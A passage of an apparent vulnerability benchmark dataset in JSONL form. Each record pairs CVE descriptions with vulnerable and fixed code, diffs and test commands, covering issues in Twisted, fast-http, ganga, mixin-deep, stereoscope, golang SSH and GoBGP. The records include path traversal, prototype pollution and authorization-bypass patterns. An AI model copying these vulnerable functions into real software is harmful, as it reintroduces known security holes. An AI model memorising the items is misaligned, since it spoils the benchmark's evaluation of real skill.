response.code, b\"Infinite redirection detected\", location=uri\n            )\n            raise ResponseFailed([Failure(err)], response)\n        locationHeaders = response.headers.getRawHeaders(b\"location\", [])\n        if not locationHeaders:\n            err = error.RedirectWithNoLocation(\n                response.code, b\"No location header field\", uri\n            )\n            raise ResponseFailed([Failure(err)], response)\n        location = self._resolveLocation(uri, locationHeaders[0])\n        deferred = self._agent.request(method, location, headers)"}], "fix_func": [{"id": "fix_py_53_1", "commit": "af8fe78", "file_path": "src/twisted/web/client.py", "start_line": 2114, "end_line": 2172, "snippet": "_canonicalHeaderName = Headers()._canonicalNameCaps\n_defaultSensitiveHeaders = frozenset(\n    [\n        b\"Authorization\",\n        b\"Cookie\",\n        b\"Cookie2\",\n        b\"Proxy-Authorization\",\n        b\"WWW-Authenticate\",\n    ]\n)\n\n\n@implementer(IAgent)\nclass RedirectAgent:\n    \"\"\"\n    An L{Agent} wrapper which handles HTTP redirects.\n\n    The implementation is rather strict: 301 and 302 behaves like 307, not\n    redirecting automatically on methods different from I{GET} and I{HEAD}.\n\n    See L{BrowserLikeRedirectAgent} for a redirecting Agent that behaves more\n    like a web browser.\n\n    @param redirectLimit: The maximum number of times the agent is allowed to\n        follow redirects before failing with a L{error.InfiniteRedirection}.\n\n    @param sensitiveHeaderNames: An iterable of C{bytes} enumerating the names\n        of headers that must not be transmitted when redirecting to a different\n        origins.  These will be consulted in addition to the protocol-specified\n        set of headers that contain sensitive information.\n\n    @cvar _redirectResponses: A L{list} of HTTP status codes to be redirected\n        for I{GET} and I{HEAD} methods.\n\n    @cvar _seeOtherResponses: A L{list} of HTTP status codes to be redirected\n        for any method and the method altered to I{GET}.\n\n    @since: 11.1\n    \"\"\"\n\n    _redirectResponses = [\n        http.MOVED_PERMANENTLY,\n        http.FOUND,\n        http.TEMPORARY_REDIRECT,\n        http.PERMANENT_REDIRECT,\n    ]\n    _seeOtherResponses = [http.SEE_OTHER]\n\n    def __init__(\n        self,\n        agent: IAgent,\n        redirectLimit: int = 20,\n        sensitiveHeaderNames: Iterable[bytes] = (),\n    ):\n        self._agent = agent\n        self._redirectLimit = redirectLimit\n        sensitive = {_canonicalHeaderName(each) for each in sensitiveHeaderNames}\n        sensitive.update(_defaultSensitiveHeaders)\n        self._sensitiveHeaderNames = sensitive"}, {"id": "fix_py_53_2", "commit": "af8fe78", "file_path": "src/twisted/web/client.py", "start_line": 2198, "end_line": 2240, "snippet": "    def _handleRedirect(self, response, method, uri, headers, redirectCount):\n        \"\"\"\n        Handle a redirect response, checking the number of redirects already\n        followed, and extracting the location header fields.\n        \"\"\"\n        if redirectCount >= self._redirectLimit:\n            err = error.InfiniteRedirection(\n                response.code, b\"Infinite redirection detected\", location=uri\n            )\n            raise ResponseFailed([Failure(err)], response)\n        locationHeaders = response.headers.getRawHeaders(b\"location\", [])\n        if not locationHeaders:\n            err = error.RedirectWithNoLocation(\n                response.code, b\"No location header field\", uri\n            )\n            raise ResponseFailed([Failure(err)], response)\n        location = self._resolveLocation(uri, locationHeaders[0])\n        if headers:\n            parsedURI = URI.fromBytes(uri)\n            parsedLocation = URI.fromBytes(location)\n            sameOrigin = (\n                (parsedURI.scheme == parsedLocation.scheme)\n                and (parsedURI.host == parsedLocation.host)\n                and (parsedURI.port == parsedLocation.port)\n            )\n            if not sameOrigin:\n                headers = Headers(\n                    {\n                        rawName: rawValue\n                        for rawName, rawValue in headers.getAllRawHeaders()\n                        if rawName not in self._sensitiveHeaderNames\n                    }\n                )\n        deferred = self._agent.request(method, location, headers)\n\n        def _chainResponse(newResponse):\n            newResponse.setPreviousResponse(response)\n            return newResponse\n\n        deferred.addCallback(_chainResponse)\n        return deferred.addCallback(\n            self._handleResponse, method, uri, headers, redirectCount + 1\n        )"}], "vul_patch": "--- a/src/twisted/web/client.py\n+++ b/src/twisted/web/client.py\n@@ -1,3 +1,59 @@\n-    def __init__(self, agent, redirectLimit=20):\n+_canonicalHeaderName = Headers()._canonicalNameCaps\n+_defaultSensitiveHeaders = frozenset(\n+    [\n+        b\"Authorization\",\n+        b\"Cookie\",\n+        b\"Cookie2\",\n+        b\"Proxy-Authorization\",\n+        b\"WWW-Authenticate\",\n+    ]\n+)\n+\n+\n+@implementer(IAgent)\n+class RedirectAgent:\n+    \"\"\"\n+    An L{Agent} wrapper which handles HTTP redirects.\n+\n+    The implementation is rather strict: 301 and 302 behaves like 307, not\n+    redirecting automatically on methods different from I{GET} and I{HEAD}.\n+\n+    See L{BrowserLikeRedirectAgent} for a redirecting Agent that behaves more\n+    like a web browser.\n+\n+    @param redirectLimit: The maximum number of times the agent is allowed to\n+        follow redirects before failing with a L{error.InfiniteRedirection}.\n+\n+    @param sensitiveHeaderNames: An iterable of C{bytes} enumerating the names\n+        of headers that must not be transmitted when redirecting to a different\n+        origins.  These will be consulted in addition to the protocol-specified\n+        set of headers that contain sensitive information.\n+\n+    @cvar _redirectResponses: A L{list} of HTTP status codes to be redirected\n+        for I{GET} and I{HEAD} methods.\n+\n+    @cvar _seeOtherResponses: A L{list} of HTTP status codes to be redirected\n+        for any method and the method altered to I{GET}.\n+\n+    @since: 11.1\n+    \"\"\"\n+\n+    _redirectResponses = [\n+        http.MOVED_PERMANENTLY,\n+        http.FOUND,\n+        http.TEMPORARY_REDIRECT,\n+        http.PERMANENT_REDIRECT,\n+    ]\n+    _seeOtherResponses = [http.SEE_OTHER]\n+\n+    def __init__(\n+        self,\n+        agent: IAgent,\n+        redirectLimit: int = 20,\n+        sensitiveHeaderNames: Iterable[bytes] = (),\n+    ):\n         self._agent = agent\n         self._redirectLimit = redirectLimit\n+        sensitive = {_canonicalHeaderName(each) for each in sensitiveHeaderNames}\n+        sensitive.update(_defaultSensitiveHeaders)\n+        self._sensitiveHeaderNames = sensitive\n\n--- a/src/twisted/web/client.py\n+++ b/src/twisted/web/client.py\n@@ -15,4 +15,29 @@\n             )\n             raise ResponseFailed([Failure(err)], response)\n         location = self._resolveLocation(uri, locationHeaders[0])\n+        if headers:\n+            parsedURI = URI.fromBytes(uri)\n+            parsedLocation = URI.fromBytes(location)\n+            sameOrigin = (\n+                (parsedURI.scheme == parsedLocation.scheme)\n+                and (parsedURI.host == parsedLocation.host)\n+                and (parsedURI.port == parsedLocation.port)\n+            )\n+            if not sameOrigin:\n+                headers = Headers(\n+                    {\n+                        rawName: rawValue\n+                        for rawName, rawValue in headers.getAllRawHeaders()\n+                        if rawName not in self._sensitiveHeaderNames\n+                    }\n+                )\n         deferred = self._agent.request(method, location, headers)\n+\n+        def _chainResponse(newResponse):\n+            newResponse.setPreviousResponse(response)\n+            return newResponse\n+\n+        deferred.addCallback(_chainResponse)\n+        return deferred.addCallback(\n+            self._handleResponse, method, uri, headers, redirectCount + 1\n+        )\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-21712:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/twisted\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-21712/bin/python -m pytest src/twisted/web/test/test_agent.py::RedirectAgentTests  src/twisted/web/test/test_agent.py::RedirectAgentTests -p no:warning --disable-warnings --import-mode=importlib\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-21712:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/twisted\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-21712/bin/python -m pytest src/twisted/web/test/test_agent.py -p no:warning --disable-warnings --import-mode=importlib\n"}
{"cve_id": "CVE-2020-7687", "cve_description": "This affects all versions of package fast-http. There is no path sanitization in the path provided at fs.readFile in index.js.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cedced19/fast-http", "patch_url": ["https://github.com/cedced19/fast-http/commit/e4cfee6db8850afc4d8837800682fdaf029685ca"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_8_1", "commit": "a827da2", "file_path": "index.js", "start_line": 11, "end_line": 50, "snippet": "    var server = http.createServer(function (req, res) {\n\n        var uri = url.parse(req.url).pathname,\n            filename = path.join(root, uri);\n\n        if (uri.charAt(uri.length - 1) === '/') {\n            filename += 'index.html';\n        }\n\n        if (wordy) console.log('GET:' + uri + ' -> ' + filename);\n\n        fs.exists(filename, function (exists) {\n            if (!exists) {\n                if (wordy) console.log('Error 404');\n                res.writeHead(404, {'Content-Type': 'text/plain'});\n                res.end('Error 404');\n                return;\n            }\n            if (fs.statSync(filename).isDirectory() && uri.charAt(uri.length - 1) !== '/') {\n                if (wordy) console.log('Redirection 303');\n                res.writeHead(303,{ 'Location': uri + '/' });\n                res.end('Redirecting to: ' + uri + '/');\n                return;\n            }\n            fs.readFile(filename, 'binary', function(err, file) {\n                if(err) {\n                    if (wordy) console.log('Error 500');\n                    res.writeHead(500, {'Content-Type': 'text/plain'});\n                    res.end('Error 500');\n                    return;\n                }\n                if (wordy) console.log('Ok 200');\n                res.writeHead(200, {\n                    'Content-Type': mime.lookup(filename) + ';' + mime.charsets.lookup(mime.lookup(filename)) \n                });\n                res.write(file, 'binary');\n                res.end();\n            });\n        });\n    });"}], "fix_func": [{"id": "fix_js_8_1", "commit": "e4cfee6", "file_path": "index.js", "start_line": 8, "end_line": 55, "snippet": "module.exports = function (port, root, wordy) {\n    if (wordy === undefined) wordy = false;\n    if (port === undefined) port = 80;\n    var server = http.createServer(function (req, res) {\n        var reqUrl = req.url.replace(/(\\.\\.\\/?)/g, '');\n\n        var uri = url.parse(reqUrl).pathname,\n            filename = path.join(root, uri);\n\n        if (uri.charAt(uri.length - 1) === '/') {\n            filename += 'index.html';\n        }\n\n        if (wordy) console.log('GET:' + uri + ' -> ' + filename);\n\n        fs.exists(filename, function (exists) {\n            if (!exists) {\n                if (wordy) console.log('Error 404');\n                res.writeHead(404, {'Content-Type': 'text/plain'});\n                res.end('Error 404');\n                return;\n            }\n            if (fs.statSync(filename).isDirectory() && uri.charAt(uri.length - 1) !== '/') {\n                if (wordy) console.log('Redirection 303');\n                res.writeHead(303,{ 'Location': uri + '/' });\n                res.end('Redirecting to: ' + uri + '/');\n                return;\n            }\n            fs.readFile(filename, 'binary', function(err, file) {\n                if(err) {\n                    if (wordy) console.log('Error 500');\n                    res.writeHead(500, {'Content-Type': 'text/plain'});\n                    res.end('Error 500');\n                    return;\n                }\n                if (wordy) console.log('Ok 200');\n                res.writeHead(200, {\n                    'Content-Type': mime.lookup(filename) + ';' + mime.charsets.lookup(mime.lookup(filename)) \n                });\n                res.write(file, 'binary');\n                res.end();\n            });\n        });\n    });\n    console.log('The server is now launch on: http://localhost:' + port);\n    server.listen(port);\n    return server;\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,6 +1,10 @@\n+module.exports = function (port, root, wordy) {\n+    if (wordy === undefined) wordy = false;\n+    if (port === undefined) port = 80;\n     var server = http.createServer(function (req, res) {\n+        var reqUrl = req.url.replace(/(\\.\\.\\/?)/g, '');\n \n-        var uri = url.parse(req.url).pathname,\n+        var uri = url.parse(reqUrl).pathname,\n             filename = path.join(root, uri);\n \n         if (uri.charAt(uri.length - 1) === '/') {\n@@ -38,3 +42,7 @@\n             });\n         });\n     });\n+    console.log('The server is now launch on: http://localhost:' + port);\n+    server.listen(port);\n+    return server;\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7687:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/fast-http\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest --forceExit ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-31507", "cve_description": "The ganga-devs/ganga repository before 8.5.10 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ganga-devs/ganga", "patch_url": ["https://github.com/ganga-devs/ganga/commit/730e7aba192407d35eb37dd7938d49071124be8c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_139_1", "commit": "0c0f9e3", "file_path": "ganga/GangaGUI/gui/routes.py", "start_line": 639, "end_line": 689, "snippet": "def job_browse(job_id: int, path):\n    \"\"\"\n    Browse directory of the job.\n    :param job_id: int\n    :param path: str\n    \"\"\"\n\n    try:\n        # Query job information\n        job_info = query_internal_api(f\"/internal/jobs/{job_id}\", \"get\")\n\n        # Base directory of the job\n        job_base_dir = os.path.dirname(os.path.dirname(job_info[\"outputdir\"]))\n\n    except Exception as err:\n        # Display error on the GUI\n        flash(str(err), \"danger\")\n        return redirect(url_for(\"job_page\", job_id=job_id))\n\n    # Join the base and the requested path\n    abs_path = os.path.join(job_base_dir, path)\n\n    # URL path variable for going back\n    back_path = os.path.dirname(abs_path).replace(job_base_dir, \"\")\n\n    # If path doesn't exist\n    if not os.path.exists(abs_path):\n        flash(\"Directory for this job does not exist.\", \"warning\")\n        return redirect(url_for(\"job_page\", job_id=job_id))\n\n    # Check if path is a file and send\n    if os.path.isfile(abs_path):\n        return send_file(abs_path)\n\n    files_info = []\n\n    # Show directory contents\n    files = os.listdir(abs_path)\n\n    # Store directory information\n    for file in files:\n        files_info.append({\n            \"file\": file,\n            \"directory\": os.path.isdir(os.path.join(abs_path, file))\n        })\n\n    return render_template('job_dir.html', title=f\"Job {job_id} Directory\",\n                           job_id=job_id,\n                           abs_path=abs_path,\n                           files_info=files_info,\n                           back_path=back_path)"}], "fix_func": [{"id": "fix_py_139_1", "commit": "730e7ab", "file_path": "ganga/GangaGUI/gui/routes.py", "start_line": 639, "end_line": 689, "snippet": "def job_browse(job_id: int, path):\n    \"\"\"\n    Browse directory of the job.\n    :param job_id: int\n    :param path: str\n    \"\"\"\n\n    try:\n        # Query job information\n        job_info = query_internal_api(f\"/internal/jobs/{job_id}\", \"get\")\n\n        # Base directory of the job\n        job_base_dir = os.path.dirname(os.path.dirname(job_info[\"outputdir\"]))\n\n    except Exception as err:\n        # Display error on the GUI\n        flash(str(err), \"danger\")\n        return redirect(url_for(\"job_page\", job_id=job_id))\n\n    # Join the base and the requested path\n    abs_path = safe_join(job_base_dir, path)\n\n    # URL path variable for going back\n    back_path = os.path.dirname(abs_path).replace(job_base_dir, \"\")\n\n    # If path doesn't exist\n    if not os.path.exists(abs_path):\n        flash(\"Directory for this job does not exist.\", \"warning\")\n        return redirect(url_for(\"job_page\", job_id=job_id))\n\n    # Check if path is a file and send\n    if os.path.isfile(abs_path):\n        return send_file(abs_path)\n\n    files_info = []\n\n    # Show directory contents\n    files = os.listdir(abs_path)\n\n    # Store directory information\n    for file in files:\n        files_info.append({\n            \"file\": file,\n            \"directory\": os.path.isdir(os.path.join(abs_path, file))\n        })\n\n    return render_template('job_dir.html', title=f\"Job {job_id} Directory\",\n                           job_id=job_id,\n                           abs_path=abs_path,\n                           files_info=files_info,\n                           back_path=back_path)"}], "vul_patch": "--- a/ganga/GangaGUI/gui/routes.py\n+++ b/ganga/GangaGUI/gui/routes.py\n@@ -18,7 +18,7 @@\n         return redirect(url_for(\"job_page\", job_id=job_id))\n \n     # Join the base and the requested path\n-    abs_path = os.path.join(job_base_dir, path)\n+    abs_path = safe_join(job_base_dir, path)\n \n     # URL path variable for going back\n     back_path = os.path.dirname(abs_path).replace(job_base_dir, \"\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3719", "cve_description": "mixin-deep node module before 1.3.1 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability, which allows a malicious user to modify the prototype of \"Object\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/jonschlinkert/mixin-deep", "patch_url": ["https://github.com/jonschlinkert/mixin-deep/commit/578b0bc5e74e14de9ef4975f504dc698796bdf9c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_196_1", "commit": "7705bdf", "file_path": "index.js", "start_line": 25, "end_line": 32, "snippet": "function copy(val, key) {\n  var obj = this[key];\n  if (isObject(val) && isObject(obj)) {\n    mixinDeep(obj, val);\n  } else {\n    this[key] = val;\n  }\n}"}], "fix_func": [{"id": "fix_js_196_1", "commit": "578b0bc", "file_path": "index.js", "start_line": 25, "end_line": 36, "snippet": "function copy(val, key) {\n  if (key === '__proto__') {\n    return;\n  }\n\n  var obj = this[key];\n  if (isObject(val) && isObject(obj)) {\n    mixinDeep(obj, val);\n  } else {\n    this[key] = val;\n  }\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,4 +1,8 @@\n function copy(val, key) {\n+  if (key === '__proto__') {\n+    return;\n+  }\n+\n   var obj = this[key];\n   if (isObject(val) && isObject(obj)) {\n     mixinDeep(obj, val);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-24579", "cve_description": "stereoscope is a go library for processing container images and simulating a squash filesystem.  Prior to version 0.0.1, it is possible to craft an OCI tar archive that, when stereoscope attempts to unarchive the contents, will result in writing to paths outside of the unarchive temporary directory. Specifically, use of `github.com/anchore/stereoscope/pkg/file.UntarToDirectory()` function, the  `github.com/anchore/stereoscope/pkg/image/oci.TarballImageProvider` struct, or the higher level `github.com/anchore/stereoscope/pkg/image.Image.Read()` function express this vulnerability. As a workaround, if you are using the OCI archive as input into stereoscope then you can switch to using an OCI layout by unarchiving the tar archive and provide the unarchived directory to stereoscope.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/anchore/stereoscope", "patch_url": ["https://github.com/anchore/stereoscope/commit/09dacab4d9ee65ee8bc7af8ebf4aa7b5aaa36204"], "programing_language": "Go", "vul_func": [{"id": "vul_go_35_1", "commit": "eb656fc717935ad5abeb8e1379a5c4e11c957120", "file_path": "pkg/file/tarutil.go", "start_line": 128, "end_line": 163, "snippet": "func UntarToDirectory(reader io.Reader, dst string) error {\n\tvisitor := func(entry TarFileEntry) error {\n\t\ttarget := filepath.Join(dst, entry.Header.Name)\n\n\t\tswitch entry.Header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif _, err := os.Stat(target); err != nil {\n\t\t\t\tif err := os.MkdirAll(target, 0755); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase tar.TypeReg:\n\t\t\tf, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(entry.Header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// limit the reader on each file read to prevent decompression bomb attacks\n\t\t\tnumBytes, err := io.Copy(f, io.LimitReader(entry.Reader, perFileReadLimit))\n\t\t\tif numBytes >= perFileReadLimit || errors.Is(err, io.EOF) {\n\t\t\t\treturn fmt.Errorf(\"zip read limit hit (potential decompression bomb attack)\")\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"unable to copy file: %w\", err)\n\t\t\t}\n\n\t\t\tif err = f.Close(); err != nil {\n\t\t\t\tlog.Errorf(\"failed to close file during untar of path=%q: %w\", f.Name(), err)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\treturn IterateTar(reader, visitor)\n}"}], "fix_func": [{"id": "fix_go_35_1", "commit": "09dacab4d9ee65ee8bc7af8ebf4aa7b5aaa36204", "file_path": "pkg/file/tarutil.go", "start_line": 131, "end_line": 139, "snippet": "func UntarToDirectory(reader io.Reader, dst string) error {\n\treturn IterateTar(\n\t\treader,\n\t\ttarVisitor{\n\t\t\tfs:          afero.NewOsFs(),\n\t\t\tdestination: dst,\n\t\t}.visit,\n\t)\n}"}], "vul_patch": "--- a/pkg/file/tarutil.go\n+++ b/pkg/file/tarutil.go\n@@ -1,36 +1,9 @@\n func UntarToDirectory(reader io.Reader, dst string) error {\n-\tvisitor := func(entry TarFileEntry) error {\n-\t\ttarget := filepath.Join(dst, entry.Header.Name)\n-\n-\t\tswitch entry.Header.Typeflag {\n-\t\tcase tar.TypeDir:\n-\t\t\tif _, err := os.Stat(target); err != nil {\n-\t\t\t\tif err := os.MkdirAll(target, 0755); err != nil {\n-\t\t\t\t\treturn err\n-\t\t\t\t}\n-\t\t\t}\n-\n-\t\tcase tar.TypeReg:\n-\t\t\tf, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(entry.Header.Mode))\n-\t\t\tif err != nil {\n-\t\t\t\treturn err\n-\t\t\t}\n-\n-\t\t\t// limit the reader on each file read to prevent decompression bomb attacks\n-\t\t\tnumBytes, err := io.Copy(f, io.LimitReader(entry.Reader, perFileReadLimit))\n-\t\t\tif numBytes >= perFileReadLimit || errors.Is(err, io.EOF) {\n-\t\t\t\treturn fmt.Errorf(\"zip read limit hit (potential decompression bomb attack)\")\n-\t\t\t}\n-\t\t\tif err != nil {\n-\t\t\t\treturn fmt.Errorf(\"unable to copy file: %w\", err)\n-\t\t\t}\n-\n-\t\t\tif err = f.Close(); err != nil {\n-\t\t\t\tlog.Errorf(\"failed to close file during untar of path=%q: %w\", f.Name(), err)\n-\t\t\t}\n-\t\t}\n-\t\treturn nil\n-\t}\n-\n-\treturn IterateTar(reader, visitor)\n+\treturn IterateTar(\n+\t\treader,\n+\t\ttarVisitor{\n+\t\t\tfs:          afero.NewOsFs(),\n+\t\t\tdestination: dst,\n+\t\t}.visit,\n+\t)\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-24579:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/stereoscope\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestUntarToDirectory$ github.com/anchore/stereoscope/pkg/file\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-45337", "cve_description": "Applications and libraries which misuse connection.serverAuthenticate (via callback field ServerConfig.PublicKeyCallback) may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that \"A call to this function does not guarantee that the key offered is in fact used to authenticate.\" Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/cry...@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/golang/crypto", "patch_url": ["https://github.com/golang/crypto/commit/b4f1988a35dee11ec3e05d6bf3e90b695fbd8909"], "programing_language": "Go", "vul_func": [{"id": "vul_go_280_1", "commit": "7042ebcbe097f305ba3a93f9a22b4befa4b83d29", "file_path": "ssh/server.go", "start_line": 160, "end_line": 160, "snippet": "const maxCachedPubKeys = 16"}, {"id": "vul_go_280_2", "commit": "7042ebcbe097f305ba3a93f9a22b4befa4b83d29", "file_path": "ssh/server.go", "start_line": 181, "end_line": 185, "snippet": "func (c *pubKeyCache) add(candidate cachedPubKey) {\n\tif len(c.keys) < maxCachedPubKeys {\n\t\tc.keys = append(c.keys, candidate)\n\t}\n}"}], "fix_func": [{"id": "fix_go_280_1", "commit": "b4f1988a35dee11ec3e05d6bf3e90b695fbd8909", "file_path": "ssh/server.go", "start_line": 166, "end_line": 166, "snippet": "const maxCachedPubKeys = 1"}, {"id": "fix_go_280_2", "commit": "b4f1988a35dee11ec3e05d6bf3e90b695fbd8909", "file_path": "ssh/server.go", "start_line": 187, "end_line": 192, "snippet": "func (c *pubKeyCache) add(candidate cachedPubKey) {\n\tif len(c.keys) >= maxCachedPubKeys {\n\t\tc.keys = c.keys[1:]\n\t}\n\tc.keys = append(c.keys, candidate)\n}"}], "vul_patch": "--- a/ssh/server.go\n+++ b/ssh/server.go\n@@ -1 +1 @@\n-const maxCachedPubKeys = 16\n+const maxCachedPubKeys = 1\n\n--- a/ssh/server.go\n+++ b/ssh/server.go\n@@ -1,5 +1,6 @@\n func (c *pubKeyCache) add(candidate cachedPubKey) {\n-\tif len(c.keys) < maxCachedPubKeys {\n-\t\tc.keys = append(c.keys, candidate)\n+\tif len(c.keys) >= maxCachedPubKeys {\n+\t\tc.keys = c.keys[1:]\n \t}\n+\tc.keys = append(c.keys, candidate)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-7464", "cve_description": "A vulnerability classified as problematic has been found in osrg GoBGP up to 3.37.0. Affected is the function SplitRTR of the file pkg/packet/rtr/rtr.go. The manipulation leads to out-of-bounds read. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The name of the patch is e748f43496d74946d14fed85c776452e47b99d64. It is recommended to apply a patch to fix this issue.", "cwe_info": {"CWE-125": {"name": "Out-of-bounds Read", "description": "The product reads data past the end, or before the beginning, of the intended buffer."}}, "repo": "https://github.com/osrg/gobgp", "patch_url": ["https://github.com/osrg/gobgp/commit/e748f43496d74946d14fed85c776452e47b99d64"], "programing_language": "Go", "vul_func": [{"id": "vul_go_290_1", "commit": "defe9ac1b1f1c854d1941a5b70dee3aaed6fb960", "file_path": "pkg/packet/rtr/rtr.go", "start_line": 373, "end_line": 386, "snippet": "func SplitRTR(data []byte, atEOF bool) (advance int, token []byte, err error) {\n\tif atEOF && len(data) == 0 || len(data) < RTR_MIN_LEN {\n\t\treturn 0, nil, nil\n\t}\n\n\ttotalLen := binary.BigEndian.Uint32(data[4:8])\n\tif totalLen < RTR_MIN_LEN {\n\t\treturn 0, nil, fmt.Errorf(\"invalid length: %d\", totalLen)\n\t}\n\tif uint32(len(data)) < totalLen {\n\t\treturn 0, nil, nil\n\t}\n\treturn int(totalLen), data[0:totalLen], nil\n}"}, {"id": "vul_go_290_2", "commit": "defe9ac1b1f1c854d1941a5b70dee3aaed6fb960", "file_path": "pkg/packet/rtr/rtr.go", "start_line": 388, "end_line": 417, "snippet": "func ParseRTR(data []byte) (RTRMessage, error) {\n\tif len(data) < 1 {\n\t\treturn nil, fmt.Errorf(\"not all bytes are available for RTR message\")\n\t}\n\tvar msg RTRMessage\n\tswitch data[1] {\n\tcase RTR_SERIAL_NOTIFY:\n\t\tmsg = &RTRSerialNotify{}\n\tcase RTR_SERIAL_QUERY:\n\t\tmsg = &RTRSerialQuery{}\n\tcase RTR_RESET_QUERY:\n\t\tmsg = &RTRResetQuery{}\n\tcase RTR_CACHE_RESPONSE:\n\t\tmsg = &RTRCacheResponse{}\n\tcase RTR_IPV4_PREFIX:\n\t\tmsg = &RTRIPPrefix{}\n\tcase RTR_IPV6_PREFIX:\n\t\tmsg = &RTRIPPrefix{}\n\tcase RTR_END_OF_DATA:\n\t\tmsg = &RTREndOfData{}\n\tcase RTR_CACHE_RESET:\n\t\tmsg = &RTRCacheReset{}\n\tcase RTR_ERROR_REPORT:\n\t\tmsg = &RTRErrorReport{}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown RTR message type %d\", data[1])\n\t}\n\terr := msg.DecodeFromBytes(data)\n\treturn msg, err\n}"}], "fix_func": [{"id": "fix_go_290_1", "commit": "e748f43496d74946d14fed85c776452e47b99d64", "file_path": "pkg/packet/rtr/rtr.go", "start_line": 373, "end_line": 386, "snippet": "func SplitRTR(data []byte, atEOF bool) (advance int, token []byte, err error) {\n\tif atEOF && len(data) == 0 || len(data) < RTR_MIN_LEN {\n\t\treturn 0, nil, nil\n\t}\n\n\ttotalLen := binary.BigEndian.Uint32(data[4:8])\n\tif totalLen < RTR_MIN_LEN 